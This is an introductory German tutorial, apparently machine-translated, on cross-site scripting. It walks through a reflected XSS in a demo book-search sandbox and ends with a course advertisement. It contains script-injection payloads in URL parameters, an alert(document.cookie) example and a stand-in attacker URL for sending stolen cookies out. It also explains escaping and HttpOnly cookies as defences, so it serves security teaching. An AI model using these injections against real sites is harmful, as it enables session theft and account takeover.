Wenn Sie ein Guru für Sicherheitstests sind und ein- oder zweimal an Kopfgeldprogrammen großer IT-Unternehmen teilnehmen und die Anzahl der gefundenen XSS bei zehn oder sogar Hunderten liegt, können Sie diesen Artikel ignorieren. Wenn Sie neu im Thema sind und gerade erst daran interessiert sind, Schwachstellen zu finden, sind Sie unter cat willkommen.
Definition
XSS (Cross-Site Scripting) ist eine ziemlich häufige Sicherheitsanfälligkeit, die in vielen Webanwendungen zu finden ist. Das Wesentliche ist recht einfach: Ein Angreifer schafft es, JavaScript-Code in die Seite einzufügen, die nicht von den Entwicklern bereitgestellt wurde. Dieser Code wird jedes Mal ausgeführt, wenn Opfer (reguläre Benutzer) die Anwendungsseite besuchen, auf der dieser Code hinzugefügt wurde. Und dann gibt es mehrere Entwicklungsszenarien.
Zunächst kann ein Angreifer die Anmeldeinformationen des Benutzers abrufen und sich bei seinem Konto anmelden.
Zweitens: Der Angreifer kann vom Opfer unbemerkt auf eine andere Klonseite umleiten. Diese Seite sieht möglicherweise völlig identisch mit der aus, auf der der Benutzer erwartet hat. Aber es wird dem Eindringling gehören. Wenn der Benutzer die Ersetzung nicht bemerkt und auf dieser Seite vertrauliche Daten eingibt, dh persönliche Daten, hat der Angreifer diese.
Der dritte ... ja, im Allgemeinen kann man sich noch viel mehr vorstellen. Fast alles, was JavaScript kann, wird einem Angreifer zur Verfügung gestellt. Im Folgenden werden wir uns eines dieser Beispiele genauer ansehen. Lassen Sie uns in der Zwischenzeit versuchen, die Funktionsweise der Sicherheitsanfälligkeit etwas detaillierter zu diskutieren. Und warum es einem Angreifer gelingt, seinen Code in die Anwendung eines anderen einzuschleusen, ohne auf dessen Quelle zuzugreifen.
Eine kleine Warnung. Alle folgenden Informationen dienen nur zu Informationszwecken. Der Tester muss in der Lage sein, seine Webanwendung auf Schwachstellen zu testen. Es ist jedoch illegal, XSS-Schwachstellen in den Ressourcen anderer Personen auszunutzen.
Wenn wir über die aktuelle russische Gesetzgebung sprechen, wenn ein Forscher das Produkt eines anderen auf Schwachstellen testet oder ohne Wissen und Zustimmung des Eigentümers in das Netzwerk eines anderen eintritt, können seine Handlungen als illegal angesehen werden.
Aber zurück zu XSS.
Wie funktioniert die Sicherheitsanfälligkeit?
Wie genau schaffen Sie es zunächst, JavaScript-Code in eine Seite einzufügen, die vorher nicht vorhanden war? Und wie verteilen Sie diesen Code an andere Benutzer?
Sie können beispielsweise einem Eingabefeld JavaScript-Code hinzufügen, dessen Text gespeichert und später auf der Seite für alle Benutzer angezeigt wird. Dies kann ein Feld sein, in dem Sie Informationen über sich selbst auf einer Profilseite eines sozialen Netzwerks oder Kommentare in einem Forum eingeben können.
Der Angreifer gibt Text (und für einen Schadcode) ein, der auf der Seite gespeichert wird. Wenn andere Benutzer dieselbe Seite besuchen, laden sie das JavaScript des Angreifers zusammen mit dem Text herunter. Im Moment des Ladens funktioniert dieser Code. Natürlich funktioniert die Sicherheitsanfälligkeit nur, wenn der Text beim Speichern nicht sicher ist. Wir werden etwas später darüber sprechen, wie das geht und warum Entwickler es manchmal vergessen.
Dies ist nur das einfachste und offensichtlichste Beispiel dafür, wo eine Sicherheitsanfälligkeit verborgen werden kann. Im Folgenden werden wir ein interessanteres Beispiel auf einer speziell vorbereiteten Demoseite betrachten.
Bis dahin gehen wir weiter.
Warum treten diese Fehler häufig in Webprojekten auf?
Unter dem Strich kann der Browser einfachen Text nicht unabhängig von Text unterscheiden, bei dem es sich um CSS-, HTML- oder JavaScript-Code handelt. Es wird versucht, alles zwischen den <script> -Tags als JavaScript-Code zu behandeln. Alles zwischen <style> -Tags wird als CSS betrachtet. Und alles, was wie ein Tag aussieht, wird als HTML-Code betrachtet.
Wenn ein Entwickler möchte, dass Text nur wie Code aussieht, dies jedoch nicht der Fall ist (dh, er wurde nicht vom Browser verarbeitet, sondern unverändert angezeigt), muss dieser Text speziell verarbeitet werden, bevor er dem Browser übergeben wird. Diese Verarbeitung wird als "Abschirmung" bezeichnet.
Während der Flucht aus dem Text in diesem Text alle Specials. Die Zeichen werden durch ihre "Gegenstücke" ersetzt, und der Browser weiß bereits, dass es sich nur um Text handelt. Das Wichtigste ist, den vom Benutzer kommenden Text zu verarbeiten, da sich jeder Benutzer als Eindringling herausstellen und zusammen mit dem Text Code senden kann. Leider vergessen Entwickler manchmal, an bestimmten Stellen in einer Webanwendung zu entkommen, und der Text wird ohne Verarbeitung angezeigt. Dafür kann es mehrere Gründe geben.
Beispielsweise berücksichtigt der Programmierer nicht immer alle Stellen, an denen der vom Benutzer angegebene Text auf der Seite angezeigt wird. Darüber hinaus können manchmal verschiedene Teile der Site zu verschiedenen Zeiten und / oder von verschiedenen Personen erstellt werden. In diesem Fall steigt die Fehlerwahrscheinlichkeit.
Ein weiterer Grund kann sein, dass die Sicherheitsanfälligkeit nicht im Code des Entwicklers selbst, sondern im Code der von ihm verwendeten Bibliothek liegt. Normalerweise sind dies einige vorgefertigte Frameworks zum Erstellen von Webdiensten. In diesem Fall kann der Entwickler natürlich nicht einmal vermuten, dass er durch das Verbinden dieses Frameworks mit dem Projekt automatisch eine vorgefertigte Sicherheitsanfälligkeit mit dem Projekt verbindet.
Es besteht immer ein solches Risiko. Trotzdem ist das Schreiben einer Anwendung von Grund auf ohne Verwendung von Bibliotheken heutzutage langwierig und teuer. Nicht jedes Unternehmen kann es sich leisten, dieses Niveau zu entwickeln.
In diesem Fall ist alle Hoffnung für Tester.
Warum ist eine XSS-Sicherheitsanfälligkeit gefährlich?
Lassen Sie uns noch einmal genauer auf die Gefahren einer XSS-Sicherheitsanfälligkeit eingehen. Die Sicherheitsanfälligkeit selbst ist nicht gefährlich. Es wird gefährlich, wenn ein Eindringling es findet und beginnt, es für seine eigenen Zwecke zu verwenden. Das Ausnutzen einer Sicherheitsanfälligkeit wird als "Angriffsvektor" bezeichnet. Im Fall von XSS gibt es einige Angriffsvektoren.
Das einfachste Beispiel ist das Stehlen von Autorisierungscookies von Benutzern einer Webanwendung. Am häufigsten unterscheidet die Site, auf der eine Autorisierung vorliegt, den autorisierten Benutzer durch das sogenannte Sitzungscookie. Wenn es nicht vorhanden ist, ist der Benutzer nicht autorisiert. Wenn dies der Fall ist, kann der Server anhand des Werts dieses Cookies einen Benutzer von einem anderen unterscheiden.
Alle Cookies werden auf dem Computer des Benutzers gespeichert. Wenn ich mich als Benutzer anmelde, wird mein Cookie-Wert angezeigt. Und ich kann die Bedeutung eines Fremden einfach nicht herausfinden.
Gleiches gilt für JavaScript-Code, der im Browser des Benutzers ausgeführt wird. Dieser JavaScript-Code zeigt den Cookie-Wert des Benutzers, in dessen Browser er ausgeführt wird, und nur dieses Benutzers.
Angenommen, einem Angreifer gelingt es, JavaScript-Code in eine Webanwendungsseite einzufügen. Jeder Benutzer, der diese Seite jetzt besucht, lässt JavaScript-Code im Browser ausführen. Es wird der Cookie-Wert dieses Benutzers (jetzt des Opfers) gelesen. Es bleibt nur, diesen Wert an den Angreifer zu übergeben - und die Arbeit ist erledigt. Aber wie kann man den Wert übergeben, da der Schadcode im Browser des Opfers ausgeführt wird?
Es ist ziemlich einfach. Der gleiche JavaScript-Code kann eine AJAX-Anforderung an den Remote-Server erstellen. Zum Beispiel an die folgende URL: www.zloy-site.ru/stolen= { opfer_cookie_value }
Die zloy-Site-Domain gehört dem Angreifer aus unserem Beispiel. Alle Anfragen, die an diese Domain kommen, werden in der Datenbank aufgezeichnet. Durch Betrachten der URL-Parameter lernt der Angreifer die Cookie-Werte des Opfers und kann sie verwenden, um in seine Konten zu gelangen.
Wie oben erläutert, ist dies nicht das einzige, was eine XSS-Sicherheitsanfälligkeit gefährlich macht. Aus Sicherheitsgründen und zum Schutz Ihrer Benutzer müssen Sie in der Lage sein, solche Schwachstellen in Ihren Projekten zu finden und zu beheben.
Wo finde ich XSS? Wie man damit umgeht? Demoseite mit Beispiel
Zunächst lohnt es sich, die Stellen auf der Site, an denen ein normaler Benutzer die Möglichkeit hat, den Inhalt zu beeinflussen, auf XSS-Schwachstellen zu überprüfen. Wenn er irgendwo Text hinzufügen kann, kann er auch versuchen, JavaScript-Code hinzuzufügen.
Schauen wir uns dies anhand eines konkreten Beispiels an. Ich habe eine sehr einfache Sandbox vorbereitet, in der die XSS-Sicherheitsanfälligkeit verborgen war. Ich schlage vor, es gemeinsam zu versuchen.
Öffnen der Sandbox: https://playground.learnqa.ru/demo/xss
Lassen Sie uns zunächst sehen, wie die Seite funktioniert. Es ist im Wesentlichen ein sehr einfacher Buchkatalog, der durchsucht werden kann. Wenn wir in die Abfrage "Ray Bradbury" eingeben, werden alle Bücher angezeigt, die sich in diesem Verzeichnis dieses Autors befinden.
Ein aufmerksamer Benutzer hat bereits bemerkt, dass der Text, den wir in das Suchfeld eingegeben haben, sofort in der URL landete. Dieser Moment ist für uns immer noch nützlich.
Versuchen wir zunächst, etwas Unsinn in das Suchfeld einzufügen: "fwefewf".
Wir werden sehen, dass in diesem Fall nichts auf der Seite gefunden wurde. Und der Anfragetext wurde im Fehlertext wiederholt:
Also haben Sie und ich die Stelle gefunden, an der der von uns eingegebene Text erscheint. Daher ist dies eine potenzielle Site für eine XSS-Sicherheitsanfälligkeit. Versuchen wir, den beliebtesten JavaScript-Code einzufügen, um zu überprüfen, ob eine Sicherheitsanfälligkeit vorliegt.
<script> alert (123) </ script>
Wenn die Seite anfällig ist, wird nach Eingabe dieses Codes das folgende Fenster auf der Seite angezeigt:
Dies bedeutet, dass unser JavaScript-Code ausgeführt wurde und wir eine XSS-Sicherheitsanfälligkeit gefunden haben.
Wir geben also den Code ein und sehen die folgende Warnung:
Das Formular erlaubt uns nicht, nach diesem Wert zu suchen, da das Formular validiert ist und nur mit Buchstaben und Zahlen arbeiten möchte. Auf den ersten Blick scheint der Entwickler alles berücksichtigt und die Seite vor XSS geschützt zu haben, aber das ist nicht ganz richtig.
Denken Sie daran, dass wir oben festgestellt haben, dass der Text, den wir in das Suchfeld eingeben, in der URL im sogenannten GET-Parameter angezeigt wird. Der Name dieses Parameters ist "q" und der Wert ist das, was wir in das Suchfeld eingeben. Dies geschieht, damit Sie die URL zusammen mit dieser Suchzeichenfolge kopieren und die Seite beim nächsten Mal sofort mit den richtigen Autoren öffnen können.
Diese URL öffnet beispielsweise eine Seite mit nur Ray Bradburys Büchern gleichzeitig: playground.learnqa.ru/demo/xss?q=Ray+Bradbury
Im Gegensatz zum Formular konnte der Entwickler keine URL-Überprüfung durchführen - jeder Benutzer in seinem Browser kann eine beliebige URL eingeben was auch immer es will, auch mit einem beliebigen Wert des GET-Parameters. Die Aufgabe des Entwicklers besteht in diesem Fall darin, nicht zu vergessen, alle Optionen zu berücksichtigen und den richtigen Handler für den Wert dieses GET-Parameters zu schreiben.
Lassen Sie uns überprüfen, ob unser Entwickler vergessen hat, hier alles zu berücksichtigen. Versuchen wir, denselben JavaScript-Code in den GET-Parameter "q" einzufügen: https://playground.learnqa.ru/demo/xss?q= <script> alert (123) </ script>
Nachdem wir auf diese URL geklickt haben, sehen wir das Auf der Seite erschien ein Fenster mit dem Wert 123. Aber warum?
Es ist ziemlich einfach. Denken Sie daran, wenn eine Site die für eine bestimmte Suchabfrage benötigten Bücher nicht finden kann, wird der Text dieser Suchabfrage im Text eines Fehlers angezeigt. Wie, nichts für die Abfrage "bla bla" gefunden. Anstelle dieses "bla bla" haben wir jetzt einen JavaScript-Code mit einer Warnung. Der Entwickler schrieb eine Validierung für das Eingabefeld und entschied, dass er die Site auf diese Weise vor der Aufnahme von JavaScript in die Suchabfrage schützte. Und er ist dem Fehlertext nicht entkommen. Wir haben es geschafft, die URL-Validierung zu umgehen, indem wir dort den Wert der Suchabfrage geändert haben.
Aus Gründen des Interesses können wir jetzt den Wert unseres Sitzungscookies anzeigen. Dazu müssen Sie anstelle von <script> alert () </ script> in der URL einen anderen Code ersetzen: <script> alert (document.cookie) </ script>
Ich lasse Sie damit spielen dich selbst. :) :)
Wenn Sie einen Fehler finden, sollten Sie sich an die Entwickler wenden - sie werden ihn beheben.
Es gibt viele Möglichkeiten, den Fehler zu schließen. Das Entkommen von Text ist nicht der einzige. Sie können auch verhindern, dass JavaScript selbst Cookies sieht. Zu diesem Zweck hat das Cookie einen speziellen Parameter "nur http". Wenn es auf TRUE gesetzt ist, kann JavaScript nicht feststellen, dass ein solches Cookie überhaupt gesetzt wurde, und kann es nicht lesen und an einen Angreifer übertragen, selbst wenn er XSS in Ihrem Projekt findet.
All dies ist nur eine kleine, alles andere als vollständige Liste von Manipulationen, um XSS-Schwachstellen zu verhindern. Wie oben erwähnt, ist es am besten, mit Programmierern zu sprechen, wenn XSS während des Tests erkannt wird.
Wenn Sie mehr über Sicherheitstests erfahren möchten, die Struktur der Client-Server-Architektur besser verstehen, die effektivsten Methoden zum Auffinden von Schwachstellen in einer echten Webanwendung verstehen und verbessern möchten, besuchen Sie meinen Kurs "Sicherheitstests". Alle Informationen, die Sie benötigen, befinden sich in meinem Profil.
Nur eine nützliche und notwendige Theorie ohne Wasser und eine Vielzahl praktischer Beispiele und Aufgaben erwarten Sie. Sie werden viele Webseiten erkunden, die mit einer Vielzahl von Sicherheitslücken überfüllt sind. Die letzte Arbeit wird eine umfassende Studie über Ihr Arbeitsprojekt oder eine der Webanwendungen von Giganten wie Google, Facebook, Twitter usw. sein.